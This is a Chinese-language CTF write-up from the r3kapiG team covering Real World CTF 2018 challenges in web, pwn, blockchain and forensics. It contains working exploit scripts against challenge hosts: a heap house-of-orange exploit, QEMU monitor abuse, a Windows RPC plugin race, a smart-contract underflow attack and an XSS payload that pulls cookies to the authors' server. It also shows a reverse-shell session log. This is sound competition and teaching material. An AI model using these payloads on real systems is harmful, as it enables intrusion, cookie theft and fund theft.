

我们是由Eur3kA和flappypig组成的联合战队r3kapiG。上周末，我们参与了长亭科技举办的Real World CTF并取得了第三名的成绩。题目很有趣，所以我们决定把我们做出来的题目的writeup发出来分享给大家。另外我们战队目前正在招募队员，欢迎想与我们一起玩的同学加入我们，尤其是熟悉密码学或浏览器利用的大佬。给大家递茶。

## WEB

### bookhub

首先是源码泄露www.zip  
然后登陆时发现whitelist里有一个外网的ip

18.213.16.123

于是访问flask的默认端口5000  
发现服务开放在debug模式  
于是审计代码中app.debug的部分  
发现redis lua  
其中用python3.6的新特性  
并且可以控制session拼接恶意代码  
调用redis.call给我们自己命名的session赋值  
并且这里由于@login\_required写上面了  
所以并没有作用  
于是进行未授权访问和操作

The screenshot shows the Burp Suite interface with a target set to http://18.213.16.123:5000. The Request tab is selected, showing a POST request to /admin/system/refresh\_session/. The request headers include Host, Content-Length, X-Forwarded-For, Content-Type, User-Agent, Chrome, Accept, Referer, Accept-Encoding, and Accept-Language. The request body contains a long cookie string and a csrf\_token. The Response tab is also selected, showing a 200 OK response with headers for Server, Date, Content-Type, Content-Length, Connection, and Set-Cookie. The response body is a JSON object with a status of "success".

Burp Suite Community Edition v1.7.29 - Temporary Project

Burp Intruder Repeater Window Help

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts

1 x 2 x 3 x 4 x 6 x 7 x 8 x ...

Go Cancel < >

Target: http://18.213.16.123:5000

**Request**

Raw Params Headers Hex

GET /login/ HTTP/1.1  
Host: 18.213.16.123:5000  
Content-Length: 148  
X-Forwarded-For: 8.8.8.8  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8  
Referer: http://18.213.16.123:5000/login/  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7  
Cookie: bookhub-session=aaa  
Connection: close

csrf\_token=lmMzNjBkNDRhYTdhMTVjZmQ3NmM5NWVkMTMwMTg2NDliZmRIYzExYTQiDj4aMA.7uS44iWZiCyRWFNcj\_EejMG2f4Q&username=admin&password=123456&remember\_me=on

**Response**

Raw Headers Hex HTML Render

HTTP/1.1 502 Bad Gateway  
Server: nginx/1.15.2  
Date: Sat, 28 Jul 2018 16:46:28 GMT  
Content-Type: text/html  
Content-Length: 575  
Connection: close

<html>  
<head><title>502 Bad Gateway</title></head>  
<body bgcolor="white">  
<center><h1>502 Bad Gateway</h1></center>  
<hr><center>nginx/1.15.2</center>  
</body>  
</html>

<!-- a padding to disable MSIE and Chrome friendly error page -->  
<!-- a padding to disable MSIE and Chrome friendly error page -->  
<!-- a padding to disable MSIE and Chrome friendly error page -->  
<!-- a padding to disable MSIE and Chrome friendly error page -->  
<!-- a padding to disable MSIE and Chrome friendly error page -->  
<!-- a padding to disable MSIE and Chrome friendly error page -->

0 matches

727 bytes | 31,886 millis

~ | tmux

Listening on [0.0.0.0] (family 0, port 8889)  
Connection from [183.63.20.93] port 8889 [tcp/\*] accepted (family 2, sport 24273)  
\$ exit  
^> nc -l -v 8889  
Listening on [0.0.0.0] (family 0, port 8889)  
Connection from [18.213.16.123] port 8889 [tcp/\*] accepted (family 2, sport 50880)  
/bin/sh: 0: can't access tty; job control turned off  
\$ ls  
\_\_pycache\_\_  
app.py  
bookhub  
migrations  
requirements.txt  
\$ cd /  
ls  
bin  
boot  
data  
dev  
docker-entrypoint.sh  
etc  
flag  
home  
lib  
lib64  
media  
mnt  
opt  
proc  
readflag  
root  
run  
sbin  
srv  
sys  
tmp  
usr  
var  
\$ ./readflag  
rwctf{f145k\_1s\_a\_MAg1cal\_fr4mew0rk\_t0000000000}  
The 1 is djang0~  
\$  
[4] 0:fish\*

bash.exe bash.exe [\*] bash.exe bash.exe bash.exe

dot free

```

3 <script>
4     function lls(src) {
5         var el = document.createElement('script');
6         if (el) {
7             el.setAttribute('type', 'text/javascript');
8             el.src = src;
9             document.body.appendChild(el);
10        }
11    };
12
13    function lce(doc, def, parent) {
14        var el = null;
15        if (typeof doc.createElementNS != "undefined") el = doc.createElementNS("http://www.w3.org/1999/xhtml", def[0]);
16        else if (typeof doc.createElement != "undefined") el = doc.createElement(def[0]);
17
18        if (!el) return false;
19
20        for (var i = 1; i
21            < def.length; i++) el.setAttribute(def[i++], def[i]);
22        if (parent) parent.appendChild(el);
23        return el;
24    };
25
26    window.addEventListener('message', function (e) {
27        if (e.data.iframe) {
28            if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("/") == -1 && e.data.iframe.value.indexOf(".") == -1 &&
29                e.data.iframe.value && typeof(e.data.iframe != 'object')) {
30                if (e.data.iframe.type == "iframe") {
31                    lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
32                } else {
33                    lls(e.data.iframe.value)
34                }
35            }
36        }
37    }, false);
38    window.onload = function (ev) {
39        postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*')
40    }
41 </script>

```

关键代码如上

这里可以按要求构造json，如下

<http://13.57.104.34/?{%22iframe%22:{%22value%22:%20%22u002fu005c1998326715:8889/a%22}}>

(利用\去bypass//不能用)

题目会请求vps

在vps上放一个index.html打cookie

<http://13.57.104.34/?{%22iframe%22:{%22value%22:%20%22u002fu005c1998326715%22}}>

请求即可

## PWN

### untrustworthy

题目提供了一个上传PE文件的服务，可以上传PE文件并在沙箱(sandbox.exe)中执行。

题目关键逻辑是server.exe,

逆向了一下大概是一个RPC服务，可以通过RPC服务开启一个authentication服务，并且可以通过管道与authentication服务进行交互。

authentication服务提供了两种认证方式，一种是账号密码认证，一种是插件认证。只要认证通过的话就可以拿到flag。

账号密码的认证是通过比对c:\ctf\password.txt跟选手提供的密码是否一致，而插件认证则是提供插件(dll)所在的相对路径，并比较插件文件sha256是否为某个特定的值，以此来调用插件的auth函数。

由于有沙箱，所以我们并不能直接读到password进行账号密码认证，所以我们尝试攻击插件认证，我们主要的思路就是自己写一个伪造的插件，然后放置在可写的目录中。load我们自己伪造的插件，从而直接通过认证，拿到flag。so called Code Replacement Attack

```

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <rpc.h>
#include <midl.h>
#include "Source_h.h"
#include "resource.h"
#include "Source_c.c" // header file generated by MIDL compiler
typedef unsigned __int64* LPQWORD;

```

```

#pragma comment(lib, "Rpcrt4.lib")

```

```

void __cdecl main(int argc, char **argv)
{

```

```

    setvbuf(stdout, 0, _IONBF, 0);

```

```

    RPC_STATUS status;

```

```

    RPC_WSTR pszStringBinding = NULL;

```

```

    unsigned long ulCode;

```

```

// Use a convenience function to concatenate the elements of
// the string binding into the proper sequence.
status = RpcStringBindingCompose(0,
                                (RPC_WSTR)L"ncalrpc",
                                0,
                                (RPC_WSTR)L"ZygoteEndpoint",
                                0,
                                &pszStringBinding);
printf_s("RpcStringBindingCompose returned 0x%x\n", status);
wprintf_s(L"pszStringBinding = %s\n", pszStringBinding);
if (status) {
    exit(status);
}

// Set the binding handle that will be used to bind to the server.
status = RpcBindingFromStringBinding(pszStringBinding, &rpc_handle);
printf_s("RpcBindingFromStringBinding returned 0x%x\n", status);
if (status) {
    exit(status);
}

printf_s("Calling the remote procedure\n");

HANDLE in=0;
HANDLE out=0;
unsigned __int64 test=0;
DWORD tmp=0;
DWORD outsize=0;

wchar_t *target=L"C:\\Users\\realworld\\AppData\\LocalLow\\nonick.dll";

HRSRC hres=FindResourceA(0,MAKEINTRESOURCEA(IDR_DLL1),"DLL");
HGLOBAL hgres=LoadResource(0,hres);
DWORD size = SizeofResource(0, hres);

char* res = (char*)LockResource(hgres);

RpcTryExcept {
    char *tmpbuf=0;
    DWORD t=0;
    do
    {
        t++;

        if (tmpbuf)
        {
            delete tmpbuf;
            tmpbuf=0;
        }
        RemoteOpen((LPVOID*)&test);

        CopyFile(L"C:\\ctf\\auth_plugins\\fail_plugin.dll",target,0);

        Spawn((VOID*)test,(__int64 *)&in,(__int64 *)&out);

        DWORD option=2;
        WriteFile(in,&option,4,&tmp,NULL);

        char plugin_path[] = "..\\..\\Users\\realworld\\AppData\\LocalLow\\nonick.dll\\x00";

        DWORD len = lstrlenA(plugin_path) + 1;

        WriteFile(in, &len, 4, &tmp, NULL);

        WriteFile(in, plugin_path, len, &tmp, NULL);

        HANDLE hfile= INVALID_HANDLE_VALUE;

        Sleep(15); // This is crucial

```

```

while (hfile==INVALID_HANDLE_VALUE)
{
    hfile =CreateFile(target,GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_FLAG_NO_BUFFERING,0);
}
WriteFile(hfile,res,size,&tmp,0);
CloseHandle(hfile);

ReadFile(out, &outsize, 4, &tmp, NULL);

tmpbuf=new char[outsize];
RtlSecureZeroMemory(tmpbuf,outsize);
ReadFile(out, tmpbuf, outsize, &tmp, NULL);

tmpbuf[tmp]=0;

RemoteClose((LPVOID*)&test);

} while (*tmpbuf=='N');

printf_s("t=%d,Received:%s.\n",t,tmpbuf);
printf_s("CTX value :%llx\n",test);
printf_s("Handle value:%llx,%llx\n",in,out);
}
RpcExcept(( ( (RpcExceptionCode() != STATUS_ACCESS_VIOLATION) &&
(RpcExceptionCode() != STATUS_DATATYPE_MISALIGNMENT) &&
(RpcExceptionCode() != STATUS_PRIVILEGED_INSTRUCTION) &&
(RpcExceptionCode() != STATUS_BREAKPOINT) &&
(RpcExceptionCode() != STATUS_STACK_OVERFLOW) &&
(RpcExceptionCode() != STATUS_IN_PAGE_ERROR) &&
(RpcExceptionCode() != STATUS_GUARD_PAGE_VIOLATION)
)
? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH )) {
ulCode = RpcExceptionCode();
printf_s("Runtime reported exception 0x%x = %ld\n", ulCode, ulCode);

}
RpcEndExcept

// The calls to the remote procedures are complete.
// Free the string and the binding handle
status = RpcStringFree(&pszStringBinding); // remote calls done; unbind
printf_s("RpcStringFree returned 0x%x\n", status);
if (status) {
    exit(status);
}

status = RpcBindingFree(&rpc_handle); // remote calls done; unbind
printf_s("RpcBindingFree returned 0x%x\n", status);
if (status) {
    exit(status);
}

exit(0);

}

/*****/
/*          MIDL allocate and free          */
/*****/

void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len)
{
    return(malloc(len));
}

void __RPC_USER midl_user_free(void __RPC_FAR * ptr)
{

```

```
    free(ptr);  
}
```

看起来这是个非预期解

kid\_vm

在 18e0的位置有 kvm的虚拟代码，从内存中dump下来，然后16bit 的形式在IDA中打开分析

```
seg000:008D      ja      short loc_C2  
seg000:008F      mov     cx, ds:top  
seg000:0093      cmp     cx, 0B000h  
seg000:0097      ja      short loc_CD  
seg000:0099      mov     si, word ptr ds:chunknum  
seg000:009D      cmp     si, 10h
```

先知社区

guest的功能从菜单里面可以看到，漏洞点在:

top在到达0xa000后，如果在分配一个0x1000大小的chunk，就会使得0xb000+0x1000+0x5000变成0x10000，而这个是个16bit的架构，从而chunk的基地址变成0,而0是

然后就是host的利用了，uaf,限制了fastbin的使用，直接house of orange

```
from pwn import *  
  
local=0  
pc='./kid_vm'  
remote_addr="34.236.229.208"  
remote_port=9999  
aslr=True  
  
libc=ELF('./libc.so.6')  
  
if local==1:  
    context.log_level=True  
    p = process(pc,aslr=aslr)  
    gdb.attach(p,'c')# 'b *0x555555555083'  
else:  
    p=remote(remote_addr,remote_port)  
  
ru = lambda x : p.recvuntil(x)  
sn = lambda x : p.send(x)  
rl = lambda : p.recvline()  
sl = lambda x : p.sendline(x)  
rv = lambda x : p.recv(x)  
sa = lambda a,b : p.sendafter(a,b)  
sla = lambda a,b : p.sendlineafter(a,b)  
  
def lg(s,addr):  
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))  
  
def raddr(a=6):  
    if(a==6):  
        return u64(rv(a).ljust(8,'\x00'))  
    else:  
        return u64(rl().strip('\n').ljust(8,'\x00'))  
  
def choice(index):  
    sn(str(index))  
  
def allocate(size):  
    choice(1)  
    sa(":",p16(size))  
  
def update(index,content):  
    choice(2)  
    sa(":",p8(index))  
    sa(":",content)
```

```

def allocatehost(size):
    choice(4)
    sa(":",p16(size))

def updatehost(size,index,content):
    choice(5)
    sa(":",p16(size))
    sa(":",p8(index))
    sa(":",content)

def freehost(index):
    choice(6)
    sa(":",p8(index))

if __name__ == '__main__':

    #int overflow
    for i in range(0xb):
        allocate(0x1000)

    # modify
    update(0,p16(0x1)*0x800)
    allocate(0x226)
    f=open('./mem','rb') # the guest code
    data=f.read()
    # free and clean
    data=data[:0x10]+"\xb8\x00\x40\xbb\x30\x00"+data[0x16:0x1A3]+' \xbb\x01\x00'+data[0x1a6:0x1e2]+" \xbb\x01\x00"+data[(0x1e2+3)]
    # free and not clean , lead to UAF
    data2=data[:0x10]+"\xb8\x00\x40\xbb\x30\x00"+data[0x16:0x1A3]+' \xbb\x02\x00'+data[0x1a6:0x1e2]+" \xbb\x01\x00"+data[(0x1e2+3)]
    update(0xb,data)

    p.clean()
    allocatehost(0x200)
    p.clean()
    allocatehost(0x200)
    p.clean()
    allocatehost(0x200)
    p.clean()
    allocatehost(0x200)
    p.clean()

    #trigger UAF to leak
    freehost(0)
    freehost(2)
    update(0xb,data2)
    updatehost(0x20,0,'l'*0x20)
    arena_addr=u64(ru("\x00\x00"))
    libc_addr=arena_addr-0x3c4b78
    libc.address=libc_addr
    lg("libc",libc_addr)
    heap_addr=u64(ru("\x00\x00"))-0x420
    lg("heap",heap_addr)
    allocatehost(0x200)
    update(0xb,data)

    # house of orange
    payload='/bin/sh\x00'+p64(0x61)+p64(0)+p64(heap_addr+0x230)+p64(0)*1+p64(1)
    payload=payload.ljust(216,'\x00')+p64(heap_addr+0x250)
    updatehost(len(payload),0,payload)
    payload=p64(0)*3+p64(0x211)+p64(0)+p64(libc.symbols['_IO_list_all']-0x10)+p64(libc.symbols['system'])*20
    updatehost(len(payload),1,payload)
    updatehost(0x20,2,p64(0)+p64(heap_addr+0x10)*3)
    allocatehost(0x200)
    allocatehost(0x200)
    allocatehost(0x200)

    p.interactive()

```

## state-of-the-art\_vm

一个最新的qemu，查看过devices发现没有自定义devices，根据start.sh发现没有重定向monitor，说明是可以进入monitor的，pwntools中发送\x01可以发送ctrl + a，所以x01c可以进入monitor或者退出monitor。

简单查看后，发现用来执行命令的migrate命令被去掉了，其他命令主要是设备的添加删除等，之后发现qemu存在cdrom，通过info block可以查看到，ide1-cd0是cdrom设备，对应linux里的/dev/sr0，如果直接cat /dev/sr0会报错为没有medium，猜想为没有插入cd盘，于是通过change ide1-cd0 ./flag尝试将flag作为镜像插入，但是发现cat /dev/sr0虽然没有报错为没有介质，但是也没有输出，之后尝试使用更长的输入，发现要足够长才能够读出内容。

继续尝试monitor命令发现，通过drive\_mirror可以复制文件，通过chardev，backend为tty可以append内容，于是思路为复制文件，之后通过tty添加内容直到足够长，最exp：

```
from time import sleep
from pwn import *
from hashlib import sha1
context(os='linux', arch='amd64', log_level='info')

DEBUG = 0
if DEBUG:
    p = process(argv='./start.sh', raw=False)
else:
    p = remote('34.236.229.208', 31338)

def pow():
    p.recvuntil('that starts with')
    s = p.recvuntil(' and')[:-4]
    p.recvuntil(') starts with ')
    num = p.recvuntil(':')[::-1]

    p.info('s %s' % s)
    p.info('num %s' % num)

    for i in range(100000000):
        sha1_ins = sha1()
        cur = s + str(i)
        sha1_ins.update(cur)
        #p.info('digest %s' % sha1_ins.hexdigest())
        if sha1_ins.hexdigest().startswith('000000'):
            p.recvuntil('work:')
            p.sendline(cur)
            return

    raise Exception('digest not found')

def main():
    if not DEBUG:
        pow()
    p.recvuntil('# ')
    ctrl_a = '\x01c'
    p.send(ctrl_a)
    # in monitor

    # copy flag
    p.recvuntil('(qemu)')
    p.sendline('change ide1-cd0 flag')
    p.recvuntil('(qemu)')
    p.sendline('drive_mirror ide1-cd0 anxiety_flag')
    p.recvuntil('(qemu)')
    p.sendline('change ide1-cd0 flag')

    # append content to my flag
    p.recvuntil('(qemu)')
    p.sendline('chardev-add serial,id=s1,path=anxiety_flag')
    p.recvuntil('(qemu)')
    p.sendline('device_add pci-serial,id=ss,chardev=s1')
    p.recvuntil('(qemu)')
    p.send(ctrl_a)
```



```

# now do apppend content
#p.recvuntil('#')
sleep(2)
payload = 'a' * 20
p.sendline('for i in `seq 1 500`; do echo %s > /dev/ttyS4; done' % payload)
sleep(2)

# change image back
p.send(ctrl_a)
p.recvuntil('(qemu)')
p.sendline('device_del ss')
p.recvuntil('(qemu)')
p.sendline('chardev-remove s1')
p.recvuntil('(qemu)')
p.sendline('block_job_cancel idel-cd0')
p.recvuntil('(qemu)')
p.sendline('change idel-cd0 anxiety_flag')
p.recvuntil('(qemu)')
p.sendline(ctrl_a)

# read flag
p.sendline('cat /dev/sr0')

p.recvuntil('#')

p.sendline('cat /dev/sr0')

flag = p.sendline('cat /dev/sr0')

p.success('flag is in %s' % flag)
p.interactive()

if __name__ == '__main__':
    main()

```

## BlockChain

### MultiSigWallet

题目有两个合约，分别是wallet合约和token合约，wallet合约的owner可以添加transaction。而普通用户则可以通过一个id调用对应的的transaction和删除owner添加的t

wallet在处理删除的逻辑中有一个漏洞，那就是他判断了transactions.length>=0才可以删除，删除操作是加transactions.length--，也就是说transactions.length==0时执行操作会导致length为-1。

另外wallet 在处理添加transaction是先将incoming transaction assign 给一个全局变量tx，如果判断不是owner就退出，并没有清空全局变量tx。

另外由于transactions.length== -1，所以我们可以call 任何id的transaction，又因为tranctions数组跟tx全局变量都是在storage，所以我们可以先通过添加transaction将一个调用token合约的transfer函数的transactions写到tx，然后通过精巧的构造id使得transactions[id]正好取到tx，就可以直接转账。拿到flag exp如下

```

var walletAddr=0;
var tokenAddr=0;
for (i = 0; i < web3.eth.getBlock('latest').number; ++i) {
    b = web3.eth.getBlock(i);
    if(b.transactions != '' && walletAddr==0) {
        var target = web3.eth.getTransactionReceipt(b.transactions.toString()).contractAddress;
        console.log('Found contract: ', target);
        walletAddr=target
        continue;
    }
    if(b.transactions != '' && walletAddr!=0){
        var target = web3.eth.getTransactionReceipt(b.transactions.toString()).contractAddress;
        console.log('Found contract: ', target);
        tokenAddr=target
        break;
    }
}
function mine_once(){

    miner.start();

```

```

admin.sleep(2);
miner.stop();
}

eth.defaultAccount="0x4e5fc5cd21923c49569ea2a745f19168e7aff6e6"

var walletABI = [{"constant":false,"inputs":[{"name":"id","type":"uint256"}],"name":"deleteTransaction","outputs":[],"payable":true}, {"constant":false,"inputs":[{"name":"owner","type":"address"}],"name":"setOwner","outputs":[],"payable":false,"stateMutability":"nonpayable"}]
var tokenABI=[{"constant":false,"inputs":[{"name":"owner","type":"address"}],"name":"setOwner","outputs":[],"payable":false,"stateMutability":"nonpayable"}]

var walletContract = web3.eth.contract(walletABI);
var tokenContract = web3.eth.contract(tokenABI);

var walletInstance=walletContract.at(walletAddr);
var tokenInstance=tokenContract.at(tokenAddr);

function flagcb(error, result){
  if (error) {console.log(error);}
  else{
    console.log(result.args.m);
  }
}

var flagEvent = walletInstance.Message({fromBlock: 0, toBlock: 'latest'});
flagEvent.watch(flagcb);

function step1(){
  personal.unlockAccount(eth.defaultAccount,"123")
  walletInstance.deleteTransaction(
    "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
    {gas: '3000000'},
    function(e,v) {
      console.log(e,v);
      console.log("fuck");
      setTimeout(step2, 20000);
    }
  );
  // mine_once();
}

function step2(){
  personal.unlockAccount(eth.defaultAccount,"123")
  walletInstance.submitTransaction(
    "0x0000000000000000000000000000000000000000000000000000000000000000",
    0,
    0,
    "0xa9059cbb00000000000000000000000000000000000000000000000000000000",
    {gas: '3000000'},
    function(e,v) {
      console.log(e,v);
      setTimeout(step3, 20000);
    }
  );
  // mine_once();
}

function step3(){
  personal.unlockAccount(eth.defaultAccount,"123")
  walletInstance.executeTransaction(
    "0xf5bc84c9aadd2755ca7f2e959df1e40ded1650daadeffdc272741b3a7c4306a8",
    {gas: '3000000'},
    function(e,v) {
      console.log(e,v);
      setTimeout(step3, 20000);
    }
  );
}

```

```
// mine_once();  
}
```

```
step1()
```

## Forensic

### ccls-fringe

给了一个cache文件，通过查看ccls代码可以发现cache文件是可以加载的。

通过ccls::Deserialize函数进行cache文件的加载，之后通过ToString可以读出文件内容，得到一个cache的json文件，包括以下类似内容（全文太长<https://paste.ubuntu.com/p/Xc3rJK9Y5G/>）：

```
"usr2func": [{  
  "usr": 1676767203992940432,  
  "detailed_name": "bool std::Solution::leafSimilar(std::TreeNode *root1, std::TreeNode *root2)",  
  "qual_name_offset": 5,  
  "short_name_offset": 20,  
  "short_name_size": 11,  
  "kind": 6,  
  "storage": 0,  
  "hover": "",  
  "comments": "",  
  "declarations": [],  
  "spell": "38:8-38:19|59306568996318058|2|514",  
  "extent": "38:3-46:4|59306568996318058|2|0",  
  "bases": [],  
  "derived": [],  
  "vars": [4479758688836879116, 5761950115933087185, 8289061585496345026, 8002124853696534022, 9726294037205706468, 52689],  
  "uses": [],  
  "callees": ["40:8-40:10|1935187987660993811|3|8484", "40:15-40:18|9823770695318396488|3|4", "40:8-40:10|1935187987660993811|3|8484"]  
}]
```

根据spell和extend的内容，可以确认文本，通过int b位置的comment，写有flag is here,通过还原可以得到flag。

```
7 int val;
8  TreeNode *left;
9  TreeNode *right;
10 };
11
12 struct Co {
13     context_t c;
14     char stack[8192];
15     TreeNode *ret;
16     Co(context_t *link, void (*f)(Co *, TreeNode *), TreeNode *root) {
17
18     }
19     void yield(TreeNode *x) {
20
21     }
22 };
23 void dfs(Co *c, TreeNode *x) {
24
25 }
26
27 void dfs(Co *c, TreeNode *x) {
28
29 }
30
31 class Solution {
32
33     bool leafSimilar(TreeNode *root1, TreeNode *root2) {
34         ucontext_t c;
35         Co c1,c2=XXXXXXXXXXXXXXXXXX;
36
37         c1
38
39         c1
40         c1
41     }
42 };
43
44 void insert(TreeNode **x, TreeNode &y) {
45     x
46 }
```

Xorg  
firefox  
Web Content  
Import

firefox  
Web Content  
10a64.exe

anxiety@anxiety-pc  
uptime:

kernel:

```
int b; // flag is here
int l;
int e;
int s;
int s;

int w;
int h;
int o;
int i;
int s;

int i;
int n;
int h;
int k;
```

点击收藏 | 1 关注 | 2

[上一篇：初识linux提权](#) [下一篇：记一次Java反序列化漏洞的发现和修复](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)